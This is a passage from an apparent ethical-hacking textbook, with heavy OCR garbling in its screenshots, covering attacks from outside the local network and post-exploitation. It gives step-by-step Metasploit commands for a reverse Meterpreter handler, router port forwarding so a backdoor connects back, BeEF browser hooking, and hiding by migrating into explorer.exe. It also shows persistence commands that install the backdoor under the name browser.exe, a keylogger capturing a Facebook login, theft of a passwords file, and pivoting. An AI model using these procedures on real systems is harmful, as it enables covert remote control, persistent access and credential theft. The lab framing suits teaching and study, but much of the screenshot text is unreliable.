try to connect to the backdoor, the step after that will be we'll set up IP forwarding to allow
router to forward port 8080 to the Kali machine. But first we need to listen on port 8080 in
the Kali machine, and we're going to do that using the multi/handler using the following
steps:

1. Open Metasploit Framework using the msfconsole command.
2. We are going to use exploit/multi/handler, using the following command:

use exploit/multi/handler
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3. Set the payload to windows/meterpreter/reverse_http:
set PAYLOAD windows/meterpreter/reverse_http

4. Next, we're going to set the LPORT to 8080:
set LPORT 8080

5. Set the LHOST, the listening host, to our private IP. We are going to do set LHOST
t0192.168.0.11. The command is as follows:

set LHOST 192.168.0.11

6. Now we are going to run show options to make sure everything is done
properly. We can see in the following screenshot that the LPORT is set to 8080,
and the local host is set to 192.168.0.11, and we're using a payload of
windows/meterpreter/reverse_http:

7. Start handler by running the exploit command. As we can see in the
following screenshot, exploit is ready on our private IP, and it's listening for
connections on port 8080:
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So far, we did the two main steps: we created a backdoor, and the backdoor will give us
connections back based on the real IP address; and we're listening on port 8080 in our local
machine, the Kali machine. When the target person executes the backdoor on the internet,
the backdoor will try to connect toIP 192.168.0.11 on port 8080. The only problem now
is the gateway, which is the router; it doesn't have port 8080 open, when it receives the
connection, it's not going to know what to do with it. We need to configure the router to tell
it that whenever we get a connection on port 8080, we want it to be redirected to our Kali
machine. We can do that in two ways, and we're going to talk about them in the next
forthcoming sections.

IP forwarding

Now, in this part, we'll learn how to configure the router so that it forwards incoming
connections to the Kali machine. This will mean we can receive reverse connections, we can
hook people to the BeEF browser, and launch attacks outside the network the same way
that we used to launch them inside the network. To get to the router settings, usually the
routers IP is the first IP in the subnet, our IP was 192.168.0. 11, usually, the router is the
first one, so it will be 192.168.0. 1. Also, another way to get it is to type in route -

n command, and that will show us where the gateway is. As we can see in the following
screenshot, the gateway isat 192.168.0. 1. The following is the local IP address of the
router:

We're going to browse the IP 192.168.0. 1 in our browser. To do so, just type the address
in the address bar and hit Enter, and as we can see in the following screenshot, we have our
router settings, and we have to log in with the username and password:
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@ Language: English j

upc

STATUS  BASIC ADVANCED WIRELESS  SYSTEM

Lisername

Password

Now, the router settings might look different from router to router, but the names are
usually the same. First of all, we will usually have to log in, and we either have a default
username and password, or we will see them on a sticker behind or underneath the router
itself. Once we are logged in we can see the control panel, and again it might look different
for everyone, but we want to look for something called IP forwarding. For some, it's under
the ADVANCED option. Go to ADVANCED, and then to FORWARDING, and as we can
see in the following screenshot we can set up our IP forwarding:

OPTIONS ADVANCED
IP FILTERS
MAC FILTERS
PORT FILTERS
pag Yo | |
PORT TRIGGERS Public Port Ramnge Target IP Address Targe! Port Range Protocol Dwlete
DMZ HOST
s Bom _-J
FIREWALL
Add row

Ip forwarding set up

[370]




Attacks Outside the Local Network Chapter 15

Look for something called IP forwarding; we have actually seen them on some routers
called virtual network , but we want to look for something that allows us to set up rules to
redirect ports inside the network. The port that we're listening on is port 8080, so that's the
port that we picked in the handler, that's the port that we picked in the backdoor, and that's
the port that we want to get the connection on. Therefore, the public port is going to be
8080, and again the target port is 8080, and the target IP address is the IP address that's
listening on the port, so this is the IP address of the Kali machine where we have our
handlers running. Therefore the IP address of our Kali machine right here is
192.168.0.11, and we can even cross-check it from the result of the i fconfig command.
We are going to enter the returned IP from ifconfig command in the Target IP Address
textbox in our router settings—that's the rule that we want to add:

Fublic Port Range Target IP Address Target Port Range Protocal Derlerte

Bom j
Bom :J

Add row

Setting up IPs and the ports

Click on Save, and the rule will be saved, whenever the router gets a request for port 8080,
it will know that it's going to forward that request to the Kali machine and the router will
not cut the connection.
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Hence, we've set up a proper route now. The first thing we did is we created a backdoor,
we used the real IP in the backdoor, we didn't use the private IP, so we didn't use the
192.168.0.11, we used the real IP. We're going to send that backdoor to a device in a
different network. That device is going to run the backdoor, the backdoor will try to
connect back on the real IP to the router, but the router will know exactly what to do with
this, because we just set up a rule telling the router to forward any request that it gets on
port 8080 to the Kali machine. We actually want to set up a rule for port 80; this is the port
that the Apache server runs on, and we want to enable that so that we can download the
backdoor from the target computer. We are going to add a rule for port 80, and again this is
going to be the same machine, the Kali machine. We're going enter port 80 and we're going
to save this rule:

Public Port Range Target IP Address Target Port Range Protocal Delete

Add row

Configuring the Ip table

This will allow us to download the backdoor because we placed the backdoor in
the /var/www/html directory, meaning we are actually going to be able to access our web
server in Kali and download the backdoor from outside the internet.

[372]



Attacks Outside the Local Network Chapter 15

Now start our Apache web server and go to a Windows machine, and that Windows
machine is going to be connected to a completely different network, and we're going to
download the file from there. If we go and check our IP, we will see it has a different
external public IP. So, we are just going to look for what our IP is on Google. The IP is
109.125.19.76, which is completely different to the IP of the Kali machine that we used.
These are two completely separate devices connected to different networks, and now we
are going to access our Apache web server and download the backdoor, and normally
without IP forwarding we wouldn't be able to do that. First, to access the backdoor, we are
going to get the IP of the Kali machine. We called our backdoor backdoor . exe, therefore
we are just going to open a browser on the Windows machine and, inside the URL bar,
enter 192.168.0.11/backdoor.exe. After hitting Enter, we will be able to download the
backdoor, and this actually tells us that IP forwarding has been set up correctly, because
without that, we wouldn't be able to access our web server and download the backdoor, so
we are actually accessing the web server in Kali as if it's a normal website, like we can
actually host fake web pages, we can host websites, anything we want right now on our
Apache server.

Now we are going to run the backdoor on a Windows machine, and we'll see if that'll give
us a reverse connection on our Kali machine, which is on a completely different network.
As we can see in the following screenshot, we got a reverse Meterpreter shell, and that shell
is coming from an external IP address into our internal IP address to the Kali machine, and
right now we can control the target computer and do all the attacks that we did in the post-
connection attacks:
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External BeEF

Now lets look at another example on hooking people to the BeEF when they exist outside
our network. So again, we're going to have the example against the same Windows
machine that's in a completely different network, and we'll see how we can hook that
machine to the BeEF. We're going to start the BeEF browser with just one click on the BeEF
framework icon. We will go to log in with the username beef, and password is beef as
well. Now, we're going to use the same basic hook method that we did before in chapter
13, Client-Side Attacks - Social Engineering, so in that method we need to get the script code,
and we did this before - it has the same procedure, and we placed the script in our Apache
web server, we placed it in an HTML page, which was in the Apache web home
/var/www/html directory. We are going to open the index.html file and then open the
text editor, and paste the code inside index.html, which we got from the BeEF Terminal.
The only thing that we want to change all instances where we used to use our normal IP
with our external IP so that people, when they try to connect, they'll actually be able to find
our computer, because if we use the internal IP they won't be able to connect. We are going
to use the IP that we saw on Google when we typed in whats my IP, and save the file.

Once we have done that we need to enable port 3000, which is the port that the BeEF
works on. We need to tell the router, again in the IP forwarding settings, to forward any
requests that we get on port 3000 to our Kali machine, whichisat 192.168.0.11. Now, go
to the Windows machine and we're going to go to our website, which is basically the
external IP of our Kali machine. This will run index.html automatically, and we should be
hooked to the BeEF as soon as we browse to the IP. As we can see in the following
screenshot, we have got a Windows machine hooked and it's using Firefox 5.0, and now we
can run all the commands that the BeEF allows us to run:

Gelting Started Logs Current Browser

Details Logs Commands Rider || XssRays Ipec || Network || WebRTC

d Category: Browser (6 ltems)
Browser Version: UNKNOWN Initialization

Browser UA String: Mozilla/'5.0 (Windows NT 10.0; WinG4; x64) AppleWebKIU537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari537.36  Inltalizadon
Edgerl7.17134

Browser Language: en-US Initialization
Browser Platform: Win3z Inldalizaton
Browser Plugins: Cdge PDF Viewer Initialization
Window Size: Widih: 1780, Height B0Z Ininalizanon
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Now, let's just throw an alert and see if it works. As we can see in the following screenshot,
it just says BeEF Alert Dialog;:

Create Alert Dialog

Description:  Sends an alert dialog to the hooked browser.
Id: 27

Alert text: BeEF Alert Dialog

We're just going to execute it to make sure that everything is working properly. As we can
see in the following screenshot that we are hooked to a machine that exists in a completely
different network:

This site says...

BeEF Alert Dialog

Again all we have to do is use the external IP address. Whenever we are sending it outside

the network, use the IP that we see when we type in what's our IP on Google. When we
are on our own machine, use the local IP and make sure we configure the router to redirect
the port that we are listening on to the Kali machine, to the IP address, and to the private IP
address of the Kali machine.
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As an alternative to using IP forwarding, we can set the Kali machine as a DMZ host. Now,
not all routers support DMZ, that's why we didn't show it from the start; but if it supports
it, we can use it. What DMZ does is it's basically IP forwarding, but it forwards all ports. So,
if we put the IP address of the Kali machine in here, the router is going to get a request for
any port, it'll forward that request to the Kali machine, regardless of what port it is.
Therefore with port forwarding, we actually select which ports we want to forward to Kali;
with DMZ, it will forward all the ports to the IP that we put in here. Now and again, both
of these methods can be used to allow devices on different networks to access our
computer, so we can receive connections, we can allow them to access a website if we are
hosting a website on our web server, we can allow them to access fake websites, and we can
allow them to access the BeEF, the hook, or anything where we are listening on a port we
can use this method to allow people to access it if the people exist on a completely different
network than our own network.

Summary

In this chapter, we majorly focused on how we can attack the external network and to
implement this attack. We studied a few fundamentals such as port forwarding, which
means redirecting the request from one port to the other. We even studied external
backdoors and also how to exploit them, and we saw they are not different to internal
backdoors. Then, moving ahead to another aspect of attacking the network, we learned
about IP forwarding, wherein we saw how to determine the path through which the packet
flows. We also implemented real-life examples to see how this works. In the next chapter,
we are going to look at techniques to access the victim's system even after they are not
running software on their system.
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Post Exploitation

In previous chapters, we covered how to access devices through the use of various
techniques. We will now move on to the post exploitation task, which will focus on the
Meterpreter session and how we can exploit a target system once we have gained access to
it. Then, we will look at the basic filesystem commands that can help us to exploit a target
system.

Hitherto in this book, we have accessed a targeted system only to the point that a victim has
our backdoor file or software running on their system. Now, we will look at how to
maintain our access to the system, through both simple and advanced methods. We will
even cover what can be done after performing a keylogging attack. Then, we will look at
the important concept of pivoting, and we will use it to create an autoroute.

This chapter will cover the following topics:

¢ An introduction to post exploitation

e Meterpreter basics

e Filesystem commands

¢ Maintaining access by using simple methods

e Maintaining access by using advanced methods
e Keylogging

¢ An introduction to pivoting

¢ Pivoting autoroutes



Post Exploitation Chapter 16

An introduction to post exploitation

Now that we've learned how to gain access to our target, let's look at what we can do with
that target. In this section, we will learn a number of things that can be done after we have
gained access to a computer. We will look at what to do with a computer regardless of how
we gain access to it—whether we use a server-side exploit, social engineering, a backdoor, a
problem with a certain application, or some other method.

In the previous chapters, we always stopped when we got to a reverse Meterpreter session
from our target. In this chapter, we are going to start with a Meterpreter session. We're not
going to discuss how we gained access, but what we can do after gaining access. We will be
discussing some really cool things, such as how to maintain access to a target computer
even if its user uninstalls the vulnerable program or restarts the computer. We will look at
how to download, upload, and read files, open the webcam, start the keylogger to register
keystrokes, and so on. We will also look at how to use a target computer as a pivot to
exploit all computers on the same network (supposing that, for example, our target isn't
actually the computer that we hacked, but is on the same network as that computer). Again,
all of the things that we will do in this chapter will focus on after we have exploited a
target's vulnerabilities and have gained access to it.

Meterpreter basics

In this section, we'll learn some basics on how to interact with Metasploit's Meterpreter. In
Linux, the help command is always the best command to run in terms of getting
information about a specific command. So, the first thing that we will do is run the help
command, to get a big list of all of the commands that we can run, and a description of
what each command does, as shown in the following screenshot:
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gkill
bglist
bgrun
channel
cl
detach
disable_unicode
enable_unicod
exXit

t timeouts

encoding
ncoding

migrate
pivot
quit
read
resource
run
sions

write

Description

Backgrounds the current
Kills a ba

er script as a background th
control active channels

Detach the m
Disable
Enabl ncoding of unic
Terminate the meterpreter
Get the curre ion timeout values
Get the s
Help menu
Displays information about
Drop into irb ripting m
Load o or more me
Get the MSF ID of the machine
Migrate the server to another proce
UENE pivot listeners
Terminate the meterpr
Reads
Run

ion (for http/https)
strings
rings

a Post module

in a file
er script or Post module
sion

establish se
tting

Writes data to a channel

Looking at some of the basics, the first thing that we will highlight is the background

command, as follows:
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The background command basically backgrounds the current session without terminating
it. It's very similar to minimizing a window. So, after running the background command,
we can go back to Metasploit and run other commands to further exploit the target machine
(or other machines), maintaining our connection to the computer that we just hacked. To
see a list of all of the computers and sessions that we have in use, we can run the sessions
-1 command, which shows the current sessions. As we can see in the following screenshot,
we still have the Meterpreter session—we didn't lose it, and it's between our device and the
target device, whichis 10.0.2.5:

If we want to go back to the previous session to run Meterpreter again, all we have to do is
run the sessions command with -1 (for interact), and then put the ID (in our case, 2), as
follows:

msf exploit( ) se

[*#] Starting interaction with 2...

meterpreter = |J

Another command is sysinfo. We run this command every time we hack into a system; it
shows us information about the target computer. As we can see in the following screenshot,
it shows us the computer's name, its operating system, and its architecture. Also in the
following screenshot, we can see that it's a 64-bit computer, so if we want to run executables
on the target in the future, we know to create 64-bit executables:

Computer : MSEDGEWIN1O
0s : Windows 10 (Build 17134).
Architecture : x64

System Language : en US
: WORKGROUP
3

x86,/windows
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We can see that the language in use is English, the workgroup that the computer is working
on, and the user ID that is logged in. We can also see the version of Meterpreter that's
running on the target machine, and it's actually a 32-bit version.

Another useful command for gathering information is ipconfig. The ipconfig command
in this case is very similar to the ipconfig command that we run on Windows machines
(in the Command Prompt); it will show us all of the interfaces that are connected to the
target computer, as shown in the following screenshot:

meterpreter = ipconfig

Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Adt : 127.0.0.1

IPv4 : 255.0.0.0
IPv6 Ad S |
IPv6 Netmask : ffff:ffff:ffff:ffff:Fff:FFff:FFFF:FFFF

Interface

Mame : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:04:18:04

MTU : 1500

IPvd A - 18.0.2.5

IPv4 na : 255.255.255.0

IPvE A + TeB0::f590:a0cd:d841:d69b

IPV6 : Tfff:ffff:ffff . Tfff::

For example, we can see Interface 1, the MAC address, the IP address, and even the
IPv4 address, connected to multiple networks. We can also see all of the interfaces and how
to interact with them.
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Another useful information gathering command is the ps command. The ps command will
list all of the processes that are running on the target computer; these might be background
processes, or actual programs running in the foreground as Windows programs or GUIs. In
the following screenshot, we can see a list of all of the processes that are running, along
with each one's name and 1D or PID:

user

MSEDGEWIN1@\IEUser

One interesting process is explorer.exe—that's literally the graphical interface of
Windows, and we can see in the preceding screenshot that it's running on PID 4744, as
shown here:

4688 explorer.exe MSEDGEWIN1@\IEUser C:‘\Windows\explorer.exe

Once we have hacked into a system, it is a very good idea to migrate the process that the
computer is running on into a process that is safer. For example, the explorer.exe
process is the graphical interface of Windows, so it's always running, as long as the person
is using their device. This means that it's much safer than the process through which we
gained access to the computer. For example, if we gained access through an executable or a
program, we will lose the process as soon as the person closes that program. A better
method is to migrate to a process that is less likely to be closed or terminated. To do so, we
will use a command called migrate, which will move our current session into a different
process. We will use the explorer.exe process, because it's very safe.
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Use the migrate 4744 command, where 4744 is the PID of the explorer.exe process.
The following is the output of the migrate command:

meterpreter > migrate 4744
jrating from & to 4744...

gration completed successfully.

At the moment, Meterpreter is running from the explorer.exe process. If we go to the
Task Manager on the target computer and run our Resource Monitor, and then go to

the Network tab and into TCP Connections, we will see that the connection on port 8080 is
coming from the explorer.exe process, as shown here:

) Resource Monitor a X
File Moritor Help
Overview  CPU Mermory  Disk Metaork
e o o " [ H ]
Proceszes with Network Activity - > Views |»
|
: Image ] Send (B'sec) Recene [Bfed) Talal (Bived) Metwek 10 Ebpgs
[ Switem 4 20 0 n
suchost ene [HebworkService) 1140 4 5 L
1 swchist pee [netives &52 56 a7 38
: suchosl exe [LocalSericedn Sz L] a1 133
azarchill.exe IO 4.204 ) 4,220
T esplarerexe MNE L] 15 50
Network Activity B ihps Metvork VO W % Helwork Wilization w I
TCP Connecctions e |
mage Al Lecal Lacal Remi Rema., Packe Laten 0
eaplorerese 206 1020. 5756 020, S0 0 0 LMY b
Searchiilexne J508 1020 Srsm a o
SearchliLexe 3908 1030 57582 -
Seatthilene 3908 1020 57560
wesrchiiexe Ju00 103 3F5r9
Srarchlilpie I8 100 S757H -
- 1030 57575 &3 =
FAplOrerrEe 2B 100 53934 443

TCP Connections

So, as for the target, it's not coming from a malicious file, our payload, or a backdoor, it's
running through explorer.exe, which is not suspicious. Now, if we see Firefox or
Chrome, we can migrate to those processes. And, if we are connecting through port 8080
or 80, it's going to look even less suspicious, because ports 80 and 8080 are used by web
servers, so it's very natural to have a connection through them.
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Filesystem commands

Now, we're going to look at some more commands that will allow us to navigate, list, read,
download, upload, and even execute files on the target computer. We have a Meterpreter
session running, and the first thing that we will do is get our current working directory by
using the pwd command. It will bring us to the C: \Users location. If we want to list all of
the files and directories, we can use the 1s command; the following screenshot shows the
list of files:

Mode Size Type modified Name

40777/ WX rwxX rwx ] dir 2018-04- :45:03 -0400 ALl Users
40555/ : dir 2018-04-2 : 6 -0400 Default
40777/ rwxr ( ] dir 20186-04- : -0400 Default User
40777/ WX rwxX rwx dir 2018-07- 12 2 0 -0400 TIEUser
40555/ C dir 2018-04-2 : -0480 Public
100666/ rw-rw- rw- fil 2018-04-11 19: 8 -0400 desktop.ini
40777/ TWX rwXrwx dir 2018-07-16 11:18:54 -0400 sshd server

Let's suppose that we want to navigate to the IEUser folder. We will use the cd IEUser
command, and if we use pwd, we will be in the C: \Users\IEUser directory. Then, we will
go into the Downloads directory and list the files. In the following list of files, we can

see passwords . txt, which seems like an interesting file:

Mode Size ype ast modified ETS

100666/ rw-rw-rw- 458959 i 2018-07-24 05:50: -0400
100777 x 2912256 fi 2018-07-25 02:12:55 -0400
100666 "W - i 2018-07- 93:19: -0400
976 i 2018-07-24 03:45:01 -0400
7 i 2018-07-25 03:19:14 -0400
894976 i 2018-€ B5:51: -0400

100777/ rwxrwxrwx 0 i 2018-07-25 02:11: -0400 update.
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If we want to read this file, all we have to do is use the cat paswords.txt command. We
can then see the content of the file, as shown in the following screenshot:

meterpreter > cat paswords.txt

If we check this file, we will see that the output we received from the cat command
matches the content of the file.

Let's suppose that we want to keep this file for later. We can download it by using
the download command and the filename, which is paswords.txt. The command's
output is shown as follows:

meterpreter > download paswords.txt
[+*] Downloading: paswords.txt -> paswords.txt

[+] Downl ed 7.00 B of 7.00 B (100.0%): paswords.txt -> paswords.txt
[+] download : paswords.txt -> paswords.txt

Once we launch the command, the file will be downloaded; if we go to our root directory,
we will see a file called paswords. txt, containing all of its data:

:~# cd /root/

.CSV
.netxml

ew Graph (1).mtgl'
paswords.txt est- - et.csv
E .netxml

proxy.log videos
Public
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Now, suppose that we have a backdoor, a virus, a Trojan, or a keylogger that we want to
upload to the target computer. We can upload it very easily. Going back to our root
directory, we can see a lot of files, including one called backdoored-calc.exe. We're
going to try to upload that file by running the upload command, along with the filename.
The file will be uploaded, as shown in the following screenshot:

r > upload backdoored-calc.
[+#] uploadin : backdoo calc.exe -> backdo 1-calc.

[+] Uploaded 2.78 MiB of 2.78 MiB (1@0. bac ed-calc.exe -> backdoored-calc.exe
[#] uploa _: backdoored-calc.exe -> backdoo -calc.exe

We will now bring up a list to make sure that the file exists; in the following screenshot, we
can see a new file called backdoored-calc.exe in the following screenshot:

Type ec Mame
100666/ rw A" 458 il p. D7-24 05:50:00 -0400 nagejpg.zip
100777/ rwWXrwxrwx 2912: fil 2018-07-25 03:27:38 -0400
100777/ : 6 fil 2 97-25 0: -0400 r.exe
100666 82 fil 2€ D7 - 33:19:02 -0400
100777 2 894976  Til 2 07-24 03:45:01 -0400

7 il D7-25 03:19:14 -0400

894976 fil 26 37-24 05 . -0400 test.exe

0 fil 2018-087-2 - -0400 update

To execute the uploaded file on the target computer (if it is a virus or a keylogger), all we
have to do is run the execute command and specify the file that we would like to execute
after the - £ option. For our example, the file is backdoored-calc.exe. Once we execute
it, we will see that the process 3324 has been created, so our backdoor has been executed:

Now, if backdoored-calc.exe is a virus, it will do what it's supposed to do.
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Another feature is the shell command, which converts the current Metasploit or
Meterpreter session into an operating system shell. If we type in the shell command, we
will get a Windows command line, where we can execute Windows commands. As we can
see in the following screenshot, it's on a different channel, and we can run any Windows
command that we want through it. So, we can run the dir command to list all directories;
we can use ipconfig; and we can use any other Windows command, exactly like running
the commands through the Command Prompt:

There are many more commands that we can use for filesystem management. If we type in
the help command and go to the filesystem section, we will see that we can edit,
download, move a file to another file, rename files, delete files, remove directories, search,
and so on. There are so many more things we can do with the filesystem, and we have just
given a basic overview of the main commands that we can use to manage the filesystem on
the target computer, as shown in the following screenshot:

cnntpntq of a file to the

;sum of a file
estination
[ for )
Dm,.rnludui a file or directory
Edit a file
Print local working directory

Print workin ectory

Change local working directory
List local fil

Print 1nCd1 working directory

estination
pwd g working directory
rm Delete the specified file
rmdir Remove directory
rch search for files
show mount List all mount points/logical drives
upload Upload a file or director
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Maintaining access by using simple
methods

In all of the examples that we've seen so far, we would lose our connection to the target
computer as soon as the target user restarted the computer, because we used a normal
backdoor, and once the computer restarted, that backdoor would be terminated, the process
would be terminated, and we would lose our connection. In this section, we will discuss the
methods that will allow us to maintain our access to the target computer, so that we can
come back at any time and regain full control over the computer. There are a number of
ways of doing this. The first one is by using Veil-Evasion; we can use an HTTP service or a
TCP service instead of the HTTP backdoor that we created.

Let's look at an example. If we use Veil-Evasion and run the 1ist command, we will see
that at the numbers 6 and 8, we have service backdoors, as shown in the following
screenshot:

autoit ellcode inject/flat.py

auxiliary/coldwar wrapper.py
auxiliary/macro cenverter.py
auxiliary/pyinstaller_wrapper.py

tcp.py
ev_tcp service.py

If we run use 6, all we have to do is set up the LHOST and then generate the backdoor;
we can combine it with other methods and send it to the target person, or we can upload it
by using the upload command that we learned and then execute it, and that will install the
backdoor as a service on the target computer:
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Payload Information:

Name :

Language:

Rating:

Description: NS/ g ttp windows
2C, NoO

Payload: c/meterpreter/rev_http_service
Required Options:
Name Value
COMPILE TO EXE
LHOST IP of the asploit handler
LPORT 8080 Port of the Metasploit handler

Available Commands:

back Go back to Veil-Evasion

exit Completely it Veil

g Generate t PEVAGED!

options Show the shellceode's options
set Set shellcode option

[c/meterpreter/rev_http service=>]: ||

All we have to do is use the multi-handler, and any time our target computer starts, it will
try to connect back to us, because it is a reverse shell. We won't look at this method in
detail, because it's very simple. We've done something similar to it before: we created a
backdoor using Veil-Evasion and uploaded it to a target computer. So, all we have to do is
create a backdoor, upload it, execute it, and then we are done. This doesn't always
work—that's another reason we are not going to study it in detail. The normal backdoors
are much more reliable; that's why we used a normal backdoor when we were combining
backdoors with other methods such as changing its icon.
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Another method is to use a module that comes with Meterpreter, called persistence;let's
look at how we can use it. All we have to do is use run with persistence, and then use -h
to see the help menu, to show us all of the options that we can set up. In the following
screenshot, we can see that -2 starts a multi-handler straightaway; we don't really need to
change the location where the backdoor will be installed:

A5 ndows /man
run post/window a : 2nce 0PTION=
Script for creating a

OPTIONS:

to connect to the agent
LnCdtlnn in tL pavl 0, 1 % will be u
Payload to use = 5 WlndUn_ e
Automatically ar i as a vice (with SYSTEM privi
Alternate ex z
Automatically start t
Automatically start the
This help menu
<opt> The interval in N en each connection attempt
<opt> The port on which the em running Metaspleoit is liste g
- <opt= The IP of the system running Metasploit listening for the connect back

-A
-L
-P
-T
-U

'
a4

The -P option will specify the payload; again, windows/meterpreter/reverse_tcpisa
really good payload, so we don't really need to mess with it. The —s option is used to start
using system privileges; as mentioned previously, we don't have system privileges, so we
should be using the ~U option. Then, we can use the -i option to set up the amount of time
during which the backdoor will try to connect back to us; it'll try to connect every 10, 15, or
20 seconds—whatever we specify. The —p option is to specify the port, and the -r option is
to specify the IP of our computer.

To run persistence, all we have to do is use run persistence, U (to start it under user
privileges), -1 at 20 seconds, and then —p, and we will probably put 80, because, as we
mentioned, port 80 doesn't look suspicious. Then, we can use -r to specify our IP, which is
10.0.2.15. The command will look something like the following;:

run persistence -U -i 20 -p 80 -r 10.0.2.15

Obviously, once we run this, if we want to receive a connection, we have to start the multi-
handler on port 80 (or on the selected port using the payload). The problem with this
method is that it's detectable by antivirus programs; therefore, we won't explain it in more
detail. We will instead explain a combination of both of these methods, which will not be
detectable by antivirus programs and will be much more robust than using Veil-Evasion.
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Maintaining access by using advanced
methods

In this section, we will use the normal HTTP reverse Meterpreter undetectable backdoor
that we created previously. We will inject it as a service, so that it will run every time the
target user runs their computer; it will try to connect back to us at certain intervals. To do
this, first, we will background the current session. We've done that before; we can

use background and still interact with the session on number 2.

We will use a module; it is like the multi-handler module that comes with Metasploit, and
it's called exploit/windows/local/persistence. We will look at its options, to see
what we need to configure. In the following screenshot, we can see similar options to what
we've seen in the Metasploit service:

Reguired Description

host (%RAND% by defaull).

The first thing is the number of seconds during which the target will try to connect back to
us—the DELAY. We are going to keep that at 10 seconds—so, every 10 seconds, the target
computer will try to connect back to us. Now, EXE_NAME is the name that will show up
under the processes where the connection is responding back from. We will set that to the
browser, to make it less detectable; so, we will set EXE_NAME to browser.exe. The
command is as follows:

set EXE_NAME browser.exe
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The PATH where the payload or backdoor will be installed will be left the same, and

the REG_NAME (the registry entry) will also stay the same. Now, this is very important: we
need to specify which session to run the exploit on. For this example, we are using session
number 2; that's our Meterpreter session. If we use sessions -1, it will list all of the
available sessions, and we will see that its Id number is 1:

msf exploil( ) > sessions -1

Information Connection

MSEDGEWIN1O\IEUser @ MSEDGEWIN1O® 10 86 -> 10 .5:19932 (10.0.2.5)

We need to set our SESSION to number 2. So, we will use set SESSION 2, and the
STARTUP will be left as USER, for the user privileges. Now, if we run show options, we
can see that browser.exe and the session number 2 are set, as follows:

opllions

The most important thing to do is specify the payload that will be injected as a service. To
do that, we will run show advanced. The show advanced command will show us the
advanced options that we can set up for this particular module. The one that we're
interested in is called EXE: : Custom, indicating that we're going to use a custom . exe to
run and inject into the target computer as a service:
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rtions

ldMethod
ok Tor
file name.
- ins

We will set EXE: :Customto /var/www/html/backdoor.exe, so that we can run our
backdoor that we had that stored in /var/www/html/backdoor.exe. The command is as
follows:

set EXE: :Custom /var/www/html/backdoor.exe

Now, we will run show advanced to make sure that it was set up properly, because
sometimes we misspell things:

[3931]



Post Exploitation Chapter 16

We are going to exploit this, and that will upload /var/www/html/backdoor.exe onto
the target computer, using the session that we specified (session number 2). We will see
that it's been uploaded and installed once we execute exploit, as follows:

An important thing to keep in mind is the resource file, because we can use it to clean up
and delete the backdoor once we are done using it. If we don't want the backdoor on the
target computer any more, we can use the resource file to delete it. We can store the RC file
path from the exploit command output in the Leafpad, so that we can run it and delete
our backdoor in the future.

If we run sessions -1, it will show that the session is there, and we can interact with it.
We can kill that session using the session -K command.

Now, if we use 1ist, we will have no connections with the target computer. Using our
exploit multi-handler, we can listen for incoming connections.

If we run exploit and the hacked computer is already booted, we will get a connection
straightaway, because our backdoor has been injected into the target computer on port
8080 on reverse_http. However, we are going to restart the target computer, just to
make sure that we will always have a connection to it.

Perform a normal restart on the Windows machine. Our Kali computer will try to connect
back to it every 10 seconds, no matter how many times the Windows machine is restarted
or shut down. We will now run our Meterpreter handler and wait for connections. Just run
exploit to listen, and it will take a maximum of 10 seconds to get a connection back. As
we can see in the following screenshot, we received a connection to the target computer,
and we now have full access to that computer:
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Keylogging

In this section, we'll look at how we can log any mouse or keyboard event that happens on
the target computer. We will do that using a plugin that comes with Meterpreter. We have
our Meterpreter, so we just have to run keyscan_start, as follows:

meterpreter = keyscan start

Sstarting the keystroke sniffer

Suppose that we want to go to Facebook and log in to an account. If we look at the URL for
the site, it includes HTTPS, and there is nothing wrong with it. Generally, we need a
password to log in to an account. If we come back to our Terminal, we can see a log of
everything that has been recorded by typing keyscan_dump. With that command, we can
see that the target user typed in www. facebook . com, hit Enter, and put in their username,
which was zaid@isecurlty.org, and the password 123456:

Dumping captu

face k.c

This will record everything that happens on the computer. We can stop
running keyscan_stop, and it will stop the sniffer.

Another cool thing that we can do is get a screenshot, just by typing screenshot; it will
save it for us in the /root directory:

meterpreter = screenshot

Screenshot saved to: /root/PQolHjji.jpeg
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Go to /root, and we'll see that the screenshot is present. It's showing us what's being
displayed on the target computer screen:

PQalHjji jpeg

- [ D@ e facebock com -« ] n @ =

Log in to Facebook

yoube entered dossnt
n up for an account.

Capturing the targets screen

These are just two of the useful features we have available. The keylogging is very useful,
because we can get usernames and passwords and see what the target user is doing on the
computer. Obviously, we can use other keylogger programs, like a portable keylogger; all
we have to do is upload them by using the upload command that we learned previously,
and then execute them.
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An introduction to pivoting

In this section (and a few subsequent sections), we will study the concept of pivoting. We
will assume that our target is the METASPLOITABLE device. In the following diagram,
each one of the big circles is a network, and, as we can see, the Metasploitable device is not
visible by the hacker:

POST EXPLOITATION - PIVOTING

METASPLOITABLE

T e o

@ Use the hacked device as a pivot.
® Try to gain access to other devices in the network

The Metasploitable device is hidden, either behind the network, or for some other reason.
The hacker is not able to ping or access the IP address of the Metasploitable device. We're
assuming that in our example, the Metasploitable device exists in a different network. We
can see that the network has four devices. It has the Metasploitable device, an iPhone,
another device, and a Windows device (which we hacked, and which is in red); the hacker
device exists in the smaller network, and there are only two devices (the hacker, and the
Windows machine that we hacked). The goal of pivoting is to use the device that we hacked
(the common device in the middle) to compromise other devices that it has access to. So, the
hacker cannot see our target, which is the Metasploitable device—but the device that we
just hacked can see that device, because they're on the same network.
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In the next few sections, we will try to hack the Metasploitable device, even while it is not
visible to the hacker (the Kali device). The only way to access the Metasploitable device is
through the Windows device, which will be used as a pivot.

To set up our network (our lab), we will go to the VirtualBox settings, and then
to Preferences | Network; we can see that we have a network that we've been using as the
internal NAT network:

Cf" “WirtualBox - Preferences 3

@ General Metwork |
@ Input MAT Metworks

Active  Mame E‘
@ Update

MatMetwork 7%}
@ Language E
Display
@ Metniork
G Extenzions
Prosy

[ (8] 4 ] [ Cancel

The NatNetwork is the one that our Windows and Kali devices are connected to. We are
going to create another NAT network by clicking on the plus sign (+), and it will be
called NatNetwork1:
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& VirtualBox - Preferences @
General nNetwork
Input MNAT Metwiorks

Active Mame

MatMetnrork
Language MatMetweorkl

Update

SJF

Display
Metwark

Extensions

BGEe®@<l

Procy

l (8] 4 H Cancel ]

Now, we will click on the third icon to the right to edit the settings, and we can set the
network's IP. We will setit to 10.0.3.0/24. The following screenshot shows all of the
settings:

& NAT Metwork Details 7 =]

Enable Metwork,
Metwork Mame:  MatMetworkl
Metwork CIDR:  10.0.3.0/24
Metwork Options: Supports DHCP

|:| Supports IPwG
Advertise Defaulk IPvE Rouke

[ Port Forwarding ]

[ K, H Zancel ]
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So, we created another network, and the Kali machine is not connected to this network.
